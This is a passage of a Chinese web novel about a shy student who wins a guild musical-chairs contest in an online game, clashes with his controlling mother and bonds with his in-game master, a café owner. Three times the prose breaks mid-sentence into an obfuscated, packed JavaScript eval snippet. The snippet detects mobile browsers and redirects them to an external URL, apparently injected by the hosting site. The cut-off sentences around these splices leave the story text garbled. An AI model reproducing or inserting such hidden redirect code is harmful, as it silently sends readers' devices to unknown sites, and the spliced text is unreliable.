虽说大家不知道什么“民乐版”、“乐队伴奏版”,可大街小巷听多了总能有“第六感”。歌声到了结尾,大家特效砸得更欢,完全看不到圆凳在哪。时和屏息,跟着锣鼓鼓点节奏往前走,两步一停。鼓声停止,旋律渐弱。 3——2——1—— 键盘哒的一声响。 时和松开鼠标键盘,目不转睛地等待特效散去。五颜六色的技能慢慢消散,他看见自己坐在正对川云的圆凳上,下巴跟着嘴角不自觉扬了一下,又拿过桌上水杯灌了一口,仿佛这样的结果理所应当。 第二轮结束,十人晋级。 淘汰的人还没散去,一个两个围在各个凳子周围,这才发现了晋级的时和。 ID叫“故知”的人嗷嗷大叫:“比欧比不过,比手速也比不过,让不让人活了!!!” 兮以城空补刀:“比豪你也比不过。” 清絮开玩笑:“原地自杀吧。” 故知竟然真点了自断经脉。 晋级的愉悦被惶惑替代。时和错愕看着躺在自己面前的尸体,一时无法判断这是属于川云说的“爱闹”范围还是真的生气。 帮派其他人还在打趣。单身指挥大家散场,好布置下一轮板凳,可那人还在喊着“不活了”。他耳朵开始耳鸣。 耳鸣音逐渐充斥大脑时,他听见川云说:“故知,谁说你哪都比不过我徒弟了?” “我徒弟”三个字让帮派菜市场再次开张。耳鸣声也渐渐被喧闹压下。 故知笑着问:“川老板,你倒是说说我哪点比你徒弟厉害了?” 川云淡淡说:“你比他能肝啊。” 故知是帮里有名的肝帝。所有的成就全部拉满,能免费获得的道具和时装一件不落。 帮派频道因为川云一句玩笑话如同电频干扰般喷起麦来。在七杂八乱的话语中,时和听见细微的金属声。像是火机。 20. Chapter·借住 还想细听,金属声音消隐在单身的大嗓门里。场地中央的圆凳全部收回,又摆上十个新的凳子。圆凳摆好,音乐响起。 时和听了会,这轮放的是《卡门序曲》。节奏激昂的管弦乐瞬间调动人的情绪,圆凳周围又开始激烈交火,九个人打得不亦乐乎,把抢板凳玩成了大乱斗。他站在原地,不知道该不该继续参加。 那个叫故知的人没再寻死觅活,正在跟其他人打赌冠军花落谁家。时和听见自己的ID,又听见有人问:“己见这是卡了吗?” 他手指动了一下。 帮派频道陆续有人叫他的ID。时和心想:理由都帮忙想好了,不如假装掉线吧。等游戏结束再上来,这样大家就不会不平衡了。 可一想到冠军会跟川云繁育,他心里又有说不上来的烦闷。就像小时候家里来了客人,母亲对客人的小孩特别关照一样,不喜欢。 对于自己不喜欢又没办法做决定的事,时和向来采用无声的抗议。好比现在,他既不退出也不参与,任由音乐继续往下。直到川云发来消息。 川云:除了九尾狐宝宝还喜欢哪些? 时和不明就里。 川云:赢了都给你。 《卡门序曲》主部进入第三次重复,旋律结束就是尾声。有几人许是熟悉旋律,已经收起技能蓄势待发。鼓点变得强烈,铜管乐器齐奏的声音华丽又绚烂。 倏地,一道蓝色幽光伴着乐声横穿而过。 音乐结束,帮派频道安静了一秒,不知谁喊了声:“卧槽!己见晋级了!”把其余人的声音一同炸了出来。 “我去,己见怎么过去的?” “他不是掉线了吗?” “我开始好奇了,难道抢板凳还有什么必胜诀窍?见爹!一套时装换抢板凳教程!” “傻.逼吧你,人家满时装!” … 时和耳朵仿佛被灌满了水,声音隔着水汽穿透不进来,只能听见猛烈的心跳。刚才那一刻的动作纯属下意识反应,就因为一句“赢了都给你”。 恰在此时,川云又发来消息。 川云:[图片] 川云:喜欢哪些? 图片里,五排稀有妖灵跟昏君翻牌似的“搔首弄姿”,整整齐齐。 他突然不在乎药店遇见的人是不是川云了。 帮派频道还在分析刚才的“板凳惊魂”。有人猜原地不动是时和的策略,有人说时和运气好。柚子往帮派群里丢了一个视频。 “我调了0.2倍速逐帧分析,大家请看!”视频是第三轮最后两秒的慢放,柚子做着解说,“在音乐结束前1.86秒,己见开了钩锁,1.09秒的时候勾住了正对我两点钟方向的凳子,0.37秒到达凳子边缘,0.01秒坐下!” 她说着大喘了一下,继续,“什么策略啊运气啊人家这纯属手速!谁看了不迷糊!” 这下帮派跟爆米花似的炸开了锅。 时和听着帮派里的夸张的恭维和崇拜,眼神严肃,嘴角却比桌上的匹诺曹还要难压。他捏了捏发烫的耳垂,回着川云:还有一轮才能赢。 川云:好,那等你赢。 第四轮游戏迟迟没有开始。单身还沉浸在柚子的视频里,过了半晌才跟反射弧失踪回归似的叫了声“卧槽”,又马上说:“见儿!算单哥我求你!明天帮战你一定得来!成不!” 加入帮派这么些天,时和第一次正儿八经被CUE。以往群里大多是打趣,没个正茬。 正常来说,帮战这种需要交流的活动他二话不说就“谢谢”拒绝。许是今天心情好,理智被多巴胺控制了,他破天荒的应了下来。 第四轮游戏在单身的热泪盈眶中开启。 这一轮的音乐是粤语歌,陈奕迅的《单车》。时和活动着手指,一边心说单身音乐跨度真大,一边觉得自己运气真不错。 这首歌在他的歌单里,倒唱如流。 也不知道是《单车》旋律深沉压抑还是决赛圈氛围紧张,剩下三人少见没有打起来,小幅度地围着凳子左右走动,显得中央的圆凳孤独又热闹。 时和调整好角色位置,找到F键按下去最容易坐下的角度,手指跟着歌曲节奏,按动“W、S”上下两个键,又虚虚放在“F”键上,保证每一次虚按都落在歌曲的鼓点。 “难离难舍想抱紧些 茫茫人生好像荒野……” 歌曲唱到倒数第八句,他后背坐直,小心翼翼滚动鼠标放大了视角,跟着节拍小声哼着。正是精神紧绷时,忽然,桌上的手机剧烈震动起来,吓走了指尖一拍。 手机显示濯清来电。 歌词已经进入倒数第四句,铃声和歌声混杂,时和慌忙找着节奏,余光瞥见濯清的备注反而越找越乱。还剩最后两句。他看向阶梯上的川云,又看了看手机,在缺氧的思绪下抓起手机直接把震动和铃声一块关了。 铃声消失,节拍侵入大脑,“F”按下,所有动作一气呵成。 等到帮派麦爆发一句:“哈哈哈哈哈我就知道己见会赢!时装时装!麻利送我邮箱里!”时和浑身松懈,用手肘撑在桌面上,长吁一气。 赢了。 消息列表亮起未读红点。猜到是川云,时和正想点开,桌面暗下的手机又亮起,濯清的头像仿佛带着急促。他放松的神经再次绷紧。喉结滚了一下,接通电话。 “妈……” “宝贝,玩游戏呢。” 濯清声音堪称温柔,可时和总听出情绪隐忍的味道,听得耳膜一震。他“嗯”了声,直接认错:“对不起,妈。刚才在比赛……” “什么比赛?”濯清问。 “抢板凳。” 这样的游戏在濯清眼里就是幼稚。时和说得发虚。听见话筒沉默,他带着对濯清的了解自觉离开书房,试图安抚濯清情绪。 走到客厅,濯清问:“那宝贝赢了吗?” “赢了。” “嗯。” 摸不透濯清情绪,时和安静没说话。 下午的客厅不比傍晚,没有张采纹忙碌的身影,没有厨房的饭香,也没有楼上楼下脚步匆匆。从落地窗望过去,只见街道两旁榕树郁郁葱葱,车辆穿梭在叶茂枝繁之中,给寂寥的客厅增添了些许生气。 约莫数了九辆车的时间,濯清叹着声开口了:“宝贝,妈妈是不是说过不能沉迷游戏?” “不是沉迷——” 这本就是计划表的时间,没有超时,他只是想认真比赛而已,怎么算沉迷? 时和想为自己解释,话口子还没划开,濯清打断说:“那这次妈妈先不作数。以后无论什么时间都要接妈妈电话,好吗?” 又来了,总是这样,用“不跟小孩计较”的语气打断他的解释,字里行间却是给他定了罪。 时和还想继续争理。刚说个“我本来”,濯清就拖着疲惫让他闭嘴:“小和,妈妈累了,今天不说这个了好吗?” …… 两个“好吗”成功封印了时和。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15546526|171156||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ** 电话聊了半小时还没挂,从佛罗伦萨的云聊到心理测评结果,就像专门阻止他“沉迷游戏”一样。墙上的挂钟临近六点。想到还没回川云的消息,时和开始心不在焉。 濯清还在说:“听说沈停快放假了。” 他敷衍地“嗯”了一声。 好在他情绪稳定的时候说话都是不咸不淡的,濯清没听出异样。 “沈停这孩子我也算看着长大的。他虽然人皮了点,遇事倒是靠谱,自主能力也强。” “挺好的。” “听你顾叔叔说他今年暑假不回家,这会正在找房子租。妈妈想着租房子多少不安全,就跟你廖姨说让他来咱家住,也能陪陪你。” “好啊。” 濯清终于停下来。 “宝贝,你听见妈妈在说什么了吗?” 时间一分一秒转过,时和指尖陷进沙发都没察觉,盯着挂钟度秒如年。听见濯清问他,他滞缓地“嗯”了声,凭着残留在耳道里的声音说:“让他来咱家住。” 也不知道这句话怎么取悦了濯清,濯清心情莫名愉悦,语调也柔和下来:“医生说你是愿意和沈停交往的,开始我还不怎么信。他还说你们同龄人话题多,建议我多安排你俩接触。”她喟叹一声,“早知道你不排斥妈妈就不铺垫那么多了。行了,那这事就这么定下,晚点妈妈跟你廖姨对一下沈停的行程。” “好。” 电话终于挂断,还有五分钟六点。 当了二十年尖子生,时和第一次体会到上课开小差一心只想放学的吊车尾心情。他丢下手机,两个箭步冲上楼,顾不上关门,冲到电脑前点开消息。聊天框静静躺着一个“恭喜”。 川云又问了一遍:喜欢哪些妖灵? 三分钟选不出妖灵。 时和手往兜里伸,想拿手机把妖灵的图片拍下来,掏了个空才想起来手机落在了客厅。好在电脑登了微信。他把图截下来发给文件助手,又给川云回了一句:微信。 卡着5点59分关了电脑。 走到客厅,张采纹正好进门。 非饭点时间,张采纹看见时和很是诧异,放松的脸颊立马挂上了局促。 “小和,你下来啦……” “张阿姨。” 打过招呼,两人沉默对视,又各自垂眸。 他们的默契只局限于饭点。 张采纹目光躲着时和,低头走向厨房,打开冰箱开始码菜。手上有了动作,她语气自然了一些:“今天吃天麻炖鸡,再蒸点排骨。我从女儿给我拿了点她婆婆做的豆豉,很香的,看看喜不喜欢,喜欢我家里还有。” “谢谢阿姨。” “诶。” 两人又陷入沉默。 按照张采纹的速度,一顿饭怎么着也要半小时。难道要在这等着? 时和暗自懊恼:上楼怎么能忘记手机呢? 厨房里开始响起锅碗瓢盆的躁动,与窗缝飘进来的菜香遥之呼应。也不知道楼上做的什么菜,闻起来又香又呛鼻。 他耸了耸鼻,压下打喷嚏的欲望。可喷嚏要打,门牙咬碎也拦不住。只听“阿嚏”一声,客厅和厨房的空气都碎掉了。 他想死。 看见张采纹挺直的后背,他更想死了。 古人云,一鼓作气否则衰。 见张采纹一动不动,时和深呼吸,趁着敌我双方都尴尬的档口,冲向沙发抓起手机转身就跑,遗言都没留下。 ** 21. Chapter·脾气 上了楼,砰一声关好门,时和抵着门框滑坐下去。碎掉的空气经过重组再次流通,裹挟着空调的凉意一股脑涌入肺里。 靠在门边,他隐约听见楼下的脚步。 榕城这套房是濯清和时熵结婚的婚房,买的早,做装修的时候还没出“隔音棉”、“软包墙”这些保护隐私性的东西。虽说后面重新翻修了一遍,效果却不太理想。 譬如现在,他能听见张采纹从厨房走到阳台,又从阳台折返厨房的脚步,比刚进门那会轻快了些,想来是因为自己上楼了。 不想被迫听墙角,时和撑着手起身,手肘一瞬却使不上什么劲儿。大概是一天经历的事情太多,长期低耗能的身体无法适应,感觉比期末体测还要疲惫。 手机叮咚叮咚响着。 起不来,时和索性坐在地上开始回信息。 先是川云。 川云二十分钟前发了消息。 [川云:网吧今天有点忙,有事可以打我语音或者找尹川。] 每次川云忙起来都会发个信息,第二天有事不能玩也会发个信息,像是交待和报备一样。时和嘴角微微上扬。他喜欢这样的报备。 时和回了个“嗯”,又想到自己突然离开没有报备。这样很不公平。 他看着时间补充道:[对不起,刚才有急事离开了。等会我要去吃饭,半小时回来。吃好饭我再选妖灵宝宝,谢谢。[玫瑰花]] 非常好。 消息发出去,等了两分钟川云没回,想来还没忙完。时和这才返回列表处理其他信息。 手机还在响个不停,除了群消息,列表莫名多出几个私聊——这些人加了他好友,只有第一天跟他发了两句消息,后面就没再找过了——他滑着列表大致看下去,有一个重金求抢板凳的技巧,剩下三个恭喜他冠军,只是有两个比较奇怪。 [驰誉:呜呜呜呜爹,以后你就是我爹!] [墩墩乐开花:你跟川老板一定要好好的!我明天就去烧香祝你们百年好合!] 时和:…… 玩了半个多月幻世录,时和已经慢慢习惯这游戏里的人到处认亲的毛病,只是乱用成语这个毛病颇为离谱,怎么都习惯不了。 他皱了皱眉,揉着发烫的耳垂心想:他们的语文都是“沈停”教的吗? 在好奇和麻烦之间徘徊了一下,时和点开对话框,一人打了个问号,打完又觉得这样像是质疑,删掉换成一个问号表情脸。 官方的表情脸两眼一瞪,活像“你有事吗”,越看越不对劲。他又删掉表情脸,挑挑选选,挑出一张猫咪歪头,小心翼翼发了过去。 驰誉秒回。 [驰誉:爹,你回来了?] [驰誉:看群~] 列表顶上,帮派群亮着99+的消息红点,一骑绝尘紧跟川云头像后面。时和看见“有人@你”的提醒点进去,消息直接定位。 [川云:刚才晋级了第四轮的人,等会尹川回来了可以跟他繁育,他账号里有五只妖灵可以选。帮派活动面向全体帮众,己见也是帮众的一员。不过,如果下次帮派活动还是我徒弟拿了冠军,奖品发放规则与这次一致,晋级最后一轮的人都可以获得奖品。] 这是一条引用消息,原消息太长,缩略框只能看到部分引用内容。 [灯半昏时:我说你们也真够自信的,有己见在,再来几轮都是内部消化。看不出……] 时和点进去,消息跳转。 [灯半昏时:我说你们也真够自信的,有己见在,再来几轮都是内部消化。看不出来吗?这活动就是人川老板用来哄徒弟的好吧,我们这些外人瞎凑什么热闹。] 发消息的人时和有印象,平日在群里很是活跃,对帮里那几个说的上话的左一句“少爷”又一句“小姐”,充满阿谀奉承。他虽然看着不舒服,但也没多管闲事评头论足。 既然这样,为什么突然攻击自己? 时和心跳有些不受控制地加速,说不上是不悦还是对攻击话语的应激。他起身喝了杯水,又走到飘窗,推开窗户透了透气。等到心跳没那么快了,又坐会椅子上,想看看来龙去脉。 消息一页一页往前滑,滑到抢凳子比赛结束。 柚子在群里发了第四轮的录屏,激动说着:“我真的给己见跪了!你们自己观察他的脚步,他每一步都落在节拍上!虽然不知道最后怎么回事节奏乱了一下,但是!不!影!响!人家就是可以在最后一秒抢到凳子!还!有!谁!” 从这条语音往下,百来条消息叽叽喳喳。有人@川云问从哪找来这么个奇人,有人还在逐帧分析视频,试图分析出抢板凳的独家秘诀,好在下一次活动惊艳所有人。 一开始都很正常,直到有人问:[下一次帮派活动什么时候?我的眼睛说它看会了!] 这才有了灯半昏时的回复。 所以,是觉得自己作弊吗? 虽然最后一轮赢了有运气的成分,可如果不是电话打断,他也能赢。 时和嘴角不快,蹙着眉头,想到川云跟着自己被误会,他理智失格,重新引用这句话打字:[不用川云哄,凭本事赢的,可以再来一次。] 打完,发送,连贯流畅。 刹那之间,群里沸反盈天。 ** 宴云川是被林朔野拿手机怼着着看群消息的。前台一个开临时卡的女生看见林朔野整个人挂在宴云川背上,瞪大眼戳了戳旁边的伙伴,两人默契一笑,埋头纷纷聊着手机。 他把林朔野爪子拿下去,转头对女生说:“游戏区两个小时,开好了,小票拿好。卡号和密码在小票末尾。WIFI账号‘星络’,密码8个8。” “啊?”女生正聊的起劲,反应过来,“哦!谢谢帅哥!” 等两人离开,门外又进来三个结伴的,是熟客。三人看见林朔野打了个招呼,又递过身份证。 宴云川边忙边问林朔野:“CAD安装好了?” “安装好了!三分钟搞定!” “秋儿那的呢?” “也弄好了!” 说话间,三人账号已经激活。 门外没有人再进来,宴云川往外望了一眼,霓虹街道人来人往,络绎不绝。网吧和街道被一扇玻璃隔离开来,里面有里面的狂欢,外面有外面的热闹。明明只有一扇门,却像两个世界。 他捏着眉心坐下,拿过林朔野的手机。 刚才手机怼上眼睛的一瞬,隐约看见了己见的头像。页面刷着一排整齐有序的“@川云川老板!危!”,宴云川往上滑了一下,果然是己见。 还挺凶。 林朔野在一旁察言观色,察见宴云川眉心松开,眼尾挑了一下,他嘿嘿两声坐到旁边:“这可是单身语音我的第一手消息!还热乎着呢!” 宴云川“嗯”了一声,问:“晚上想吃什么?” 欸?这算心情好的额外之喜? 林朔野毫不犹豫开口:“烧烤!郑记的!肥牛五花肉羊排都来点,还要两份猪脑花!加麻加辣!哦对了!还有烤茄子也来两份,打包给秋儿回家吃!” “行,等下我让老板送。” 宴云川说完,隔壁没了声音。他丢了个疑惑的眼神望过去,就见林朔野咧着“我懂了”的嘴角,满脸都在“啧啧啧”。 “有病就去芸姐那买点药。”宴云川说。 林朔野摇摇头:“哥,难怪他们想让你两百年好合呢,我现在也想。” “……” 宴云川:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15546527|171156||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你可以滚了。” 手机丢过来,林朔野接住,嚷嚷控诉:“用完就丢,哥,你不厚道!” 宴云川笑笑:“行啊,今晚别住我那。” 林朔野突然起身,欻欻甩了两下手,学着电视里太监的动作和声音开口:“皇上,奴才这就离开。”说完就往外跑。 哐一下,宴云川捡起桌面一张纸团丢过去。 送走了林朔野的背影,宴云川点开微信,找到己见发的信息多看了两眼。在他的印象中,己见一直没什么情绪,说话简洁,不懂拒绝,也没有脾气,活像系统码好的一段程序。 不对,也是有脾气的。那一对情侣造谣自己的时候。 那这次是因为什么呢? 因为被灯半昏时冤枉了吗,还是因为……灯半昏时冤枉的对象里也有自己? 咔哒一声,打火机金属盖子落下。 宴云川哑然失笑,放下火机,有些疲累的压着眼角,觉得自己多少被林朔野传染上了自恋。他看着己见的消息和一溜烟@自己的信息,引用消息回了一句:[嗯,实力不需要哄。] 门外又走进来一个人,开了卡,服务台同时响起几声呼叫网管。俞秋匆忙回前台,挑走几样货品又往里走,被林朔野半路截下,穿插在座位之间帮忙。 网吧的忙碌都是阶段性的,一会忙,一会闲,每每想放松下来忙活自己的事,总会有人找。 宴云川只能插着空挡回微信消息。 [清絮:六一的活动副本什么时候打。] 宴云川:“2号吧,不知道1号会不会忙。2号下午打。” [兮以城空:川老板!可以抽空帮我看下装备吗?] 宴云川:“行,晚点,我忙完就弄。” [单身:你跟你徒弟两人直接给我的群干炸了!你两不愧能成师徒,那股傲劲都一样一样的!] [单身:川儿呢?你又虐待我们川儿了?童工犯法!] [单身:我还想跟他商量一下明天帮战分组,速啥时候可以放人?] 宴云川看着最后一句回:“不是我不放人,是人不放过我。还有,劳动法不承认临近20的童工。” 说着,他目光又落在“不愧能成师徒”上,引用了一下,回复:[还行。] 单身秒回一个冷笑表情包。 见单身在,宴云川又说:“帮战把我调去五队指挥,让柚子来二队。” 单身抑扬顿挫问出:“为、什、么?” 为什么?因为帮战一二队的成员都是固定的精英队,他不放心己见跟着其他指挥。徒弟带在自己身边总归更好一些。 没等宴云川把语音说完,俞秋向他招了招手。 他走过去,前台有人收到幻世录活动风声过来咨询。 官方物料还没拿到,活动也没有正式官宣,这时候不能提前透出活动信息。宴云川套着官方话回过去,移过一块二维码牌子说:“可以加一下网吧交流微信群,新人入群有50元的零食券,群里每周还会有充值礼金掉落,网吧有什么活动也会及时通知,平时还可以预约包厢或者找开黑伙伴。” 那人加了群,开玩笑问道:“能不能找老板开黑!” 俞秋在旁边司空见惯地抿嘴。 然后,她听见熟悉的话术,还看见那举起的粉色火机:“实在不好意思,我女朋友容易没安全感。” 等人走后,俞秋揶揄:“老板,你这招真够损的。” 宴云川说:“损招有损招的好处,一劳永逸。” 正准备继续回单身的消息,手机响起特别关注的提醒。 他点开,看见己见头像挂在最顶。 [己见:[图片]] [己见:我可以选这个吗?] 22. Chapter·爽约 图片是一只赢鱼,通体莹白似雪,翅膜上浮动着幽蓝灵纹,如梦似幻。除去毕方和九尾,赢鱼颜值最高。 衣服穿好看的,妖灵要漂亮的。宴云川发现己见似乎还是个“颜值党”。只是就选一只吗?他回道:[你赢了,全部都可以要。] 聊天框冒出“对方正在输入中”,一下停,一下出现,又停几秒,格外忙碌。过了半晌,“对方正在输入中”终于停下,酝酿这么久,酿成一句简短的话:[最后一轮有运气成分,不算。] 宴云川回:[运气也是实力的一部分。] [己见:奖励不能算。] 运气可以算实力的一部分,但不能拿来要奖励的意思吗? 宴云川往椅背靠了靠,这一下又觉得己见不像学音乐的,像学法律的了。想到群里那句“不用川云哄”还有一排排“川老板危”,他来了逗弄的心思,发道:[不算奖励,算师父哄徒弟。] 这下对话框死了。 收银台前后走来两个人,拿着现金要买吃的。宴云川刚起身,俞秋欢迎语随着收钱的动作一块儿落下。 招呼了人,俞秋撇向宴云川:“老板你先休息啦,我快下班了,剩下这点时间我来就行。” 宴云川看了眼时间,距离俞秋下班还有二十分钟。 “行,忙不过来叫我。”他又坐下。 “忙的那阵已经过了,接下来应该好很多——”俞秋从货架拿出两罐红牛,“两罐红牛两桶泡面和四包辣条,还有其他需要的吗?” 台前两人摇头。 俞秋抽开收银台开始找零:“找您48。” 等两人离开,俞秋才继续刚来的话口:“再说啦,真的忙起来我就找林朔野,他花不完的牛劲。” 宴云川笑了笑,算是对“牛劲”表达了认可。 他余光瞥过手机,瞥见聊天框又出现“正在输入中”。拿起手机,“正在输入”又消失了,页面再次陷入死寂。 许是聊了两句,思绪回归现实,宴云川再看那句“师父哄徒弟”,觉得自己多少忙昏了头。 一个“哄”字,就模糊了边界。 网吧五六年陈设没怎么变化,甚至有些角落还遗留着他初三那年留下的“到此一游”。宴云川望向右斜墙角一块细小的缺口,脑海里莫名多了些八杆子打不到边的画面。 譬如也是在收银台,也是这张椅子,凌岳说:“‘哄’这个字很有讲究的,师父哄徒弟,一不留神就哄成别的关系了。缘映,你都一堆烂桃花了,还是收敛点吧,哪天再来一个‘师父始乱终弃’的茗铺,我跟川云迟早为了名声退帮!” 缘映就是单身,那会儿他刚收第五个徒弟。 想到过往,宴云川太阳穴一阵抽痛,眼前的灰黑墙面变成一片血红,又变成无限的苍白。他闭上眼,撑着额头浊浊吐着气,再抬头时,按着微信语音说:“那就赢鱼吧。” 语音发出去的同一秒,聊天框弹出一句话:[己见:那我再选一只。] 下一秒,两条消息同时撤回。 ** 滴,滴滴—— 房间空调连降三度,时和还是觉得燥热,刚吃的药跟过期了一样,根本调节不了那根极度活跃的情绪神经。他扯着衣领,又走到桌边随手拿了本册子扇风,可怎么扇都扇不掉脖根红透的窘状。 聊天框两条撤回提醒孤零零地挂着,又很快被新的消息顶上去,是一条语音。时和手指悬上去,又垂下来。来回两三次,他喉结滚了一下,点开。 川云:“喜欢哪只?” 只有三秒的语音,却能听出疲惫。 网吧今天很忙吗?时和放下册子,很想打字问问,打出两个字,又觉得冒然过问别人私生活太过唐突。删掉“网吧”,他又重听了一遍语音,脑海里好似有根“舒适度”的温度计在一上一下。 撤回的哄还算哄吗? 过了几分钟,温度计下了一格。时和坐直重新打字:[只要赢鱼。] 撤回的哄就不算哄了,玩笑也不算。 豪言壮语刚发出去,落在了川云的新语音下面。 川云:“‘狰’喜欢吗?” 壮语直接秒撤。 这场妖灵的选举终止于一只‘狰’。 两番撤回加上药物作用,时和脑子已经变成了一团浆糊,把濯清的电话还有白天发生的事都忘了个干干净净,只听见川云说:“等你明天上线。” ** 隔天,时和卡着时间上游戏,点开列表,却发现川云不在线。不光川云不在线,“沈停”和单身也不在。列表唯三的头像都失去了颜色,微信也没有任何消息,好像一瞬间,自己跟这个游戏断了联系一样。他挪着鼠标,莫名觉得心里空落落的。 在主城地图转了会,时和点开川云聊天框,打了一句:[在吗?] 打完他又把这句废话删掉,又打一句:[出什么事了?] [今天还做日常吗?] [我打到狰了,可以繁育了。] [等会我要下线了。] … 聊天框打了不下十句话,又一句句删除,最后什么也没发出去。 上午的游戏时间还剩不到四十分钟,川云依旧没上线。时和留着日常没做,把还没过的剧情任务过了一轮,又开始点着好友列表。突然,列表一个头像亮起来,他急急凑近屏幕,发现是单身,又失望往后靠。正准备关掉列表,又有一个头像亮起来。这次是“沈停”。 短短两个来回,他突然理解了电视剧里主角等电话结果都是外卖的焦虑。 好想把这两个“占线”的人删了! 时和锁眉点着右键,鼠标在“删除好友”四个字上虚晃恐吓。晃了两圈,“沈停”头像蓦地亮起红点,他一个手抖,差点真把人删了。 未读红点从1变成2。这种说人坏话被抓包的感觉相当忐忑,时和拿起水杯喝了半杯水,看着红点变成3,才晃着鼠标点进去。 [尹川:宝贝儿!刷筑梦币吗?] [尹川:刷半小时刚刚好!] [尹川:挂机就行!] 筑梦币是万象筑梦阁的活动币,可以兑换材料或者活动时装。可“沈停”和单身,那川云呢? 时和满腹疑惑,想问又不知道怎么开口。他跟“沈停”的交流不算多。“沈停”上学期间他们的游戏时间都是错开的,只有周末有交流,而且都是“沈停”发起话题。 等不到回复,“沈停”又发了一句:[宝贝儿,在吗?] [时和:在。] [尹川:就说你在嘛!] [尹川:单身还说我哥不在你肯定不在,我得去打他脸!] “沈停”主动提到了川云,时和顺着话题打字:[川云呢?] 不行,太直白了。 刚删掉,“沈停”又发来消息:[筑梦来吗?单身也来!] 那句“川云不玩吗”兜兜转转也没问出口。 [时和:好。] ** 万象筑梦阁是幻世录开放给玩家的一款自定义玩法,玩家可以在筑梦阁创建自己的游戏。像跑酷、密室逃脱、剧本杀,只要你敢想,筑梦阁就能做,活像4399大杂烩。 “沈停”开的是一个跑酷玩法,时间短,最容易刷币。一进去,他跟单身就找了个风景优美的角落挂机,开始聊天。 许是怕时和无聊,单身上来就点时和:“见儿,下午你跟你师父一起去五队。” 五队?哦,帮战。川云下午会上线吗? 时和敲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15546528|171156||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了个“好”。 单身又说:“别有压力,有你师父没问题的。你尽量躲着技能,活久点儿,奶好你师父多给他叠几个BUFF就行。到时候让你师父给你丢几个十全大补丹,稳了稳了。” 时和敲了个“不用”。丹药他可以自己买。 单身读不懂时和简短的表达,问道:“不用啥?不用师父还是不用大补丹?” 单身不懂,可“沈停”听明白了。“沈停”咋咋唬唬开麦,语气仿佛自家白菜要被偷走了一样着急:“老单你傻啊!肯定是不用大补丹啊!” 时和把敲出来的字删了,打了一个“对”。 话题被“沈停”横插一脚接了过去,单身和“沈停”两人隔着网线开始互怼起来,好不热闹。 明明氛围很活跃,明明单身和“沈停”也没让他冷场,明明以往副本或者周常也经常跟单身和“沈停”组队,可不知怎的,时和总觉得在队伍里待着很不自在。单身和“沈停”你一句我一句,声音充斥着整个书房,像有两个陌生人在自己房间窥探自己生活一样,神经不自觉绷紧。 他发现自己还是不喜欢跟人打交道,隔着网络也不喜欢。 那为什么还要玩幻世录呢? 既然治不好病,就放弃好了。 时和鼠标放在“退出游戏”的提示框上,莫名生得烦躁。 为什么一定要治病?为什么一定要跟人打交道?为什么要给别人攻击自己的机会?家里的钱已经足够自己一辈子衣食无忧了,为什么还一个劲的赚钱?为什么一个两个都骗人! 说好的好好听话就不离婚,说好的等自己上线,说好—— 倏地,一道门铃声打断了时和的狂躁。 喇叭传来椅子拖拉地板的声音,紧接着“沈停”喊了声:“哥?你怎么这么早就醒了!” 而后,他听见川云的声音:“起来,晚点再跟你算账。” 椅子又拖拉着,键盘声杂糅在“沈停”的话题中。川云没回“沈停”,而是借用“沈停”的账号说了句:“抱歉,早上睡过了。” 鼠标跟着声音停下。 过两分钟,列表白发御风头像再次亮起,带着莫可名状的安全感。川云进了队伍,“沈停”账号没下线,队伍麦响起两道重叠的声音,有些炸麦。 “哥!我可是为了你身体考虑!科学表明长期熬夜会增加心血管疾病、糖尿病、肥胖——算了,这个打不着边儿。总之就是得休息!” 时和听见一声冷冷地“滚蛋”,刚想辨别声音的方向,窗口弹出繁育申请。他心不在焉点了同意,又从一阵阵电流声里分辨“沈停”的声音。 “虽然给你下安眠药、不对,下褪黑素这件事听上去有点离谱,但我出发点是好的对吧?哥,怎么能跟我算——” 麦克风被无情掐断。 话题没头没尾,单身夸张地猜着剧情:“不是吧川儿?你给你哥下药?这么劲爆?我说川老板今天怎么没上线,感情被你药晕过去了?” 队伍麦没有回应。 单身默认剧情正确,笑崩了:“666!川儿,当代小奉先啊!你是这个!”队伍频道竖起一个大拇指。 [川云:喜欢?过来领走。] 单身调侃说:“不敢喜欢不敢喜欢,我惜命!” 屏幕又弹出新的繁育申请,时和点了同意,嘴唇还没从“弟弟下药毒哥哥”的剧情中合上。他连着点了两次,点到第三次,屏幕中央出现两只交缠的重明鸟。 时和看着重明鸟愣了一下,又点开列表的未读提醒。 [川云:迟到的补偿。] [川云:抱歉。] 那颗猜忌不安以及狂跳不止的心脏终于平静。 好奇怪,川云像是一味药。 ** 23. Chapter·秘密 